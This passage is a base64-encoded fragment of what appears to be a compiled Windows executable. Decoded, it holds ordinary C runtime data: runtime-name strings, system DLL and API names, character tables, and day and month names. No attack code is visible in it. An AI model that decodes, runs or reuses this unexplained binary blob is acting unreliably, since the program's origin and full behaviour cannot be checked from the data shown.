YW1pYyBpbml0aWFsaXplciBmb3IgJwAAAAAAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAAAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAAAAYG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAAAAAABvcGVyYXRvciAiIiAAAAAAb3BlcmF0b3IgY29fYXdhaXQAAAAAAAAAb3BlcmF0b3I8PT4AAAAAACBUeXBlIERlc2NyaXB0b3InAAAAAAAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAAGBhbm9ueW1vdXMgbmFtZXNwYWNlJwAAAOBRAUABAAAAIFIBQAEAAABgUgFAAQAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AZgBpAGIAZQByAHMALQBsADEALQAxAC0AMQAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHMAeQBuAGMAaAAtAGwAMQAtADIALQAwAAAAAAAAAAAAawBlAHIAbgBlAGwAMwAyAAAAAAAAAAAAYQBwAGkALQBtAHMALQAAAAAAAAACAAAARmxzQWxsb2MAAAAAAAAAAAAAAAACAAAARmxzRnJlZQAAAAAAAgAAAEZsc0dldFZhbHVlAAAAAAAAAAAAAgAAAEZsc1NldFZhbHVlAAAAAAABAAAAAgAAAEluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25FeAAAAAAAbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAQ29yRXhpdFByb2Nlc3MAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAQAAAAEAAAABQAAAAQAAAAFAAAABAAAAAUAAAAAAAAABQAAAAAAAAAFAAAAAAAAAAUAAAAAAAAABQAAAAAAAAAFAAAAAwAAAAUAAAADAAAAAAAAAAAAAAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAIAAAAAgAAAAAAAAADAAAACAAAAAUAAAAAAAAABQAAAAgAAAAAAAAABwAAAAAAAAAIAAAAAAAAAAAAAAADAAAABwAAAAMAAAAAAAAAAwAAAAAAAAAFAAAABwAAAAUAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAYAAAAAAAAABgAAAAgAAAAGAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAACAAAAAcAAAAAAAAABwAAAAgAAAAHAAAACAAAAAcAAAAIAAAABwAAAAgAAAAAAAAACAAAAAAAAAAHAAAAAAAAAAgAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAHAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAgAAAAAAAAACAAAAAAAAAAIAAAABgAAAAgAAAAAAAAACAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAADAAAACAAAAAYAAAAIAAAAAAAAAAgAAAAGAAAACAAAAAIAAAAIAAAAAAAAAAEAAAAEAAAAAAAAAAUAAAAAAAAABQAAAAQAAAAFAAAABAAAAAUAAAAEAAAABQAAAAgAAAAFAAAACAAAAAUAAAAIAAAABQAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAIAAAAIAAAAAgAAAAcAAAADAAAACAAAAAUAAAAAAAAABQAAAAcAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAHAAAAAwAAAAAAAAADAAAAAAAAAAUAAAAAAAAABQAAAAAAAAAIAAAACAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAgAAAAIAAAAAAAAAAgAAAAIAAAACAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAABgAAAAgAAAAGAAAAAAAAAAYAAAAIAAAABgAAAAgAAAAGAAAACAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAABwAAAAcAAAAIAAAABwAAAAcAAAAHAAAAAAAAAAcAAAAHAAAABwAAAAAAAAAHAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAABwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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